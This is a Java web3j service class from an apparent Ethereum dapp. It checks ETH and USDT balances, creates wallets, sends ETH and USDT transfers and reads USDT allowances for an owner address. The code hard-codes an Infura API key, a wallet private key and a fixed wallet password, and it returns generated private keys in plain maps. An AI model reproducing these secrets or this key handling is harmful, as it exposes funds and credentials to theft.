package cc.mrbird.febs.dapp.chain;
|
|
import cc.mrbird.febs.common.exception.FebsException;
|
import cn.hutool.core.collection.CollUtil;
|
import lombok.extern.slf4j.Slf4j;
|
import org.apache.commons.lang3.StringUtils;
|
import org.web3j.abi.FunctionEncoder;
|
import org.web3j.abi.FunctionReturnDecoder;
|
import org.web3j.abi.TypeReference;
|
import org.web3j.abi.datatypes.Address;
|
import org.web3j.abi.datatypes.Function;
|
import org.web3j.abi.datatypes.Type;
|
import org.web3j.abi.datatypes.generated.Uint256;
|
import org.web3j.crypto.Credentials;
|
import org.web3j.crypto.RawTransaction;
|
import org.web3j.crypto.TransactionEncoder;
|
import org.web3j.crypto.WalletUtils;
|
import org.web3j.protocol.Web3j;
|
import org.web3j.protocol.core.DefaultBlockParameterName;
|
import org.web3j.protocol.core.Request;
|
import org.web3j.protocol.core.methods.request.Transaction;
|
import org.web3j.protocol.core.methods.response.*;
|
import org.web3j.protocol.http.HttpService;
|
import org.web3j.utils.Convert;
|
import org.web3j.utils.Convert.Unit;
|
import org.web3j.utils.Numeric;
|
|
import java.io.File;
|
import java.io.IOException;
|
import java.math.BigDecimal;
|
import java.math.BigInteger;
|
import java.math.RoundingMode;
|
import java.util.*;
|
import java.util.concurrent.CompletableFuture;
|
import java.util.concurrent.ExecutionException;
|
|
/**
|
* ETH类,使用Web3j 下面为使用教程
|
* https://kauri.io/article/925d923e12c543da9a0a3e617be963b4/manage-an-ethereum-account-with-java-and-web3js
|
*
|
* @author Administrator
|
*
|
*/
|
@Slf4j
|
public class EthService {
|
|
private static String ethWalletPath = "/home/javaweb/webresource/eth";
|
private Web3j web3j;
|
|
/**
|
* 服务器地址
|
*/
|
//private static final String ETH_UTL = "http://120.55.86.146:8545";
|
// private static final String ETH_UTL = "http://114.55.250.231:8545";
|
private static final String ETH_UTL = "https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0";
|
private static final String OWNER_ADDRESS = "0x391040eE5F241711E763D0AC55E775B9b4bD0024";
|
private static final String OWNER_PRIVATE = "87c38ecbfa5ff8a38c6c428dc609ba7cd230dbf54b55bb2d900f40dd3acd9f37";
|
|
public EthService() {
|
try {
|
HttpService service = new HttpService(ETH_UTL);
|
web3j = Web3j.build(service);
|
} catch (Exception e) {
|
log.error("连接eth网络失败", e);
|
}
|
}
|
|
/**
|
* 查询ETH余额
|
*
|
* @param address
|
* @return
|
*/
|
public static BigDecimal getEthBlance(String address) {
|
Web3j web3 = Web3j.build(new HttpService(ETH_UTL));
|
EthGetBalance balanceWei;
|
try {
|
balanceWei = web3.ethGetBalance(address, DefaultBlockParameterName.LATEST).send();
|
if (balanceWei.getResult() == null) {
|
return null;
|
}
|
BigDecimal balanceInEther = Convert.fromWei(balanceWei.getBalance().toString(), Unit.ETHER);
|
return balanceInEther;
|
} catch (Exception e) {
|
System.out.println("ETH查询失败:" + address);
|
e.printStackTrace();
|
}
|
return null;
|
|
}
|
|
/**
|
* 创建ETH钱包
|
*
|
* @return
|
*/
|
public static Map<String, String> createEth() {
|
Map<String, String> wallet = new HashMap<String, String>();
|
try {
|
String walletPassword = "secr3t";
|
// 文件路径
|
String walletDirectory = ethWalletPath;
|
|
String walletName = WalletUtils.generateNewWalletFile(walletPassword, new File(walletDirectory));
|
System.out.println("wallet location: " + walletDirectory + "/" + walletName);
|
Credentials credentials = WalletUtils.loadCredentials(walletPassword, walletDirectory + "/" + walletName);
|
String accountAddress = credentials.getAddress();
|
String privateKey = credentials.getEcKeyPair().getPrivateKey().toString(16);
|
// 钱包地址
|
wallet.put("address", accountAddress);
|
// 钱包私钥
|
wallet.put("privateKey", privateKey);
|
// 产生的钱包文件地址
|
wallet.put("walletLocation", walletDirectory + "/" + walletName);
|
} catch (Exception e) {
|
e.printStackTrace();
|
}
|
return wallet;
|
}
|
|
public boolean checkTransferResult(String hash) {
|
// 0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816 交易hash
|
Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = web3j.ethGetTransactionReceipt(hash);
|
EthGetTransactionReceipt send = null;
|
try {
|
send = ethGetTransactionReceiptRequest.send();
|
if(send!=null){
|
TransactionReceipt result = send.getResult();
|
if(result!=null){
|
String status = result.getStatus();
|
System.out.println(status);//0x1
|
if("0x1".equals(status)){
|
return true;
|
}else{
|
return false;
|
}
|
}
|
|
}
|
|
} catch (IOException e) {
|
e.printStackTrace();
|
return false;
|
}
|
return false;
|
}
|
|
public static void main(String[] args) throws IOException {
|
HttpService service = new HttpService(ETH_UTL);
|
Web3j build = Web3j.build(service);
|
//Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
|
Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
|
EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
|
String status = send.getResult().getStatus();
|
System.out.println(status);//0x1
|
// EthTransaction send = ethTransactionRequest.send();
|
// String input = send.getResult().getInput();
|
// System.out.println(input);
|
}
|
|
/**
|
*
|
* 方法描述:获取代币余额
|
*
|
* @param fromAddress
|
* @param
|
* @param
|
* @return long
|
*/
|
public BigDecimal tokenGetBalance(String fromAddress) {
|
try {
|
// 合约地址
|
String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
|
int decimal = 6;
|
String methodName = "balanceOf";
|
List<Type> inputParameters = new ArrayList<>();
|
List<TypeReference<?>> outputParameters = new ArrayList<>();
|
Address address = new Address(fromAddress);
|
inputParameters.add(address);
|
TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
|
};
|
outputParameters.add(typeReference);
|
Function function = new Function(methodName, inputParameters, outputParameters);
|
String data = FunctionEncoder.encode(function);
|
Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
|
|
EthCall ethCall;
|
BigInteger balanceValue = BigInteger.ZERO;
|
try {
|
ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
|
List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
|
balanceValue = (BigInteger) results.get(0).getValue();
|
} catch (IOException e) {
|
e.printStackTrace();
|
}
|
double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
|
if (res > 0) {
|
return new BigDecimal(res);
|
}
|
} catch (Exception e) {
|
// logger.error("==============以太坊代币链接获取失败!");
|
e.printStackTrace();
|
}
|
return BigDecimal.ZERO;
|
}
|
|
// USDT
|
public String tokenSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
|
throws InterruptedException, ExecutionException {
|
// Web3j web3j = Web3j.build(new
|
// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
|
if(StringUtils.isBlank(gas)){
|
gas="70";
|
}
|
String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
|
Credentials credentials = Credentials.create(privateKey);
|
|
EthGetTransactionCount ethGetTransactionCount = web3j
|
.ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
|
|
BigInteger nonce = ethGetTransactionCount.getTransactionCount();
|
|
Function function = new Function("transfer",
|
Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))),
|
Arrays.asList(new TypeReference<Type>() {
|
}));
|
|
String encodedFunction = FunctionEncoder.encode(function);
|
|
RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
|
Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
|
Convert.toWei("60000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
|
// 10*80000/1000000000=0.0008 手续费
|
|
byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
|
String hexValue = Numeric.toHexString(signedMessage);
|
|
// log.debug("transfer hexValue:" + hexValue);
|
|
CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
|
EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
|
//return "hash";
|
|
if (ethSendTransaction.hasError()) {
|
// log.info("transfer error:", ethSendTransaction.getError().getMessage());
|
return "";
|
} else {
|
String transactionHash = ethSendTransaction.getTransactionHash();
|
// log.info("Transfer transactionHash:" + transactionHash);
|
return transactionHash;
|
}
|
}
|
|
public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
|
try {
|
return tokenSend(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
|
} catch (InterruptedException | ExecutionException e) {
|
e.printStackTrace();
|
return "";
|
}
|
}
|
|
public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
|
throws InterruptedException, ExecutionException {
|
// Web3j web3j = Web3j.build(new
|
// HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
|
if(StringUtils.isBlank(gas)){
|
gas="70";
|
}
|
Credentials credentials = Credentials.create(privateKey);
|
|
EthGetTransactionCount ethGetTransactionCount = web3j
|
.ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
|
|
BigInteger nonce = ethGetTransactionCount.getTransactionCount();
|
BigInteger value = Convert.toWei(amount, Unit.ETHER).toBigInteger();
|
RawTransaction rawTransaction = RawTransaction.createEtherTransaction(nonce,
|
Convert.toWei(gas, Unit.GWEI).toBigInteger(),
|
Convert.toWei("60000", Unit.WEI).toBigInteger(), toAddress, value);
|
byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
|
String hexValue = Numeric.toHexString(signedMessage);
|
|
EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get();
|
if (ethSendTransaction.hasError()) {
|
// log.info("transfer error:", ethSendTransaction.getError().getMessage());
|
return "";
|
} else {
|
String transactionHash = ethSendTransaction.getTransactionHash();
|
// log.info("Transfer transactionHash:" + transactionHash);
|
return transactionHash;
|
}
|
}
|
|
public BigInteger ethAllowance(String address) {
|
return ethAllowance(OWNER_ADDRESS, address);
|
}
|
|
public BigInteger ethAllowance(String toAddress, String fromAddress) {
|
String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
|
String methodName = "allowance";
|
List<TypeReference<?>> outputParameters = new ArrayList<>();
|
TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
|
outputParameters.add(typeReference);
|
|
Function function = new Function(methodName,
|
Arrays.asList(new Address(toAddress), new Address(fromAddress))
|
, outputParameters);
|
String data = FunctionEncoder.encode(function);
|
Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
|
|
EthCall ethCall = null;
|
try {
|
ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
|
List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
|
return (BigInteger) results.get(0).getValue();
|
} catch (IOException e) {
|
e.printStackTrace();
|
}
|
return BigInteger.ZERO;
|
}
|
|
|
}
|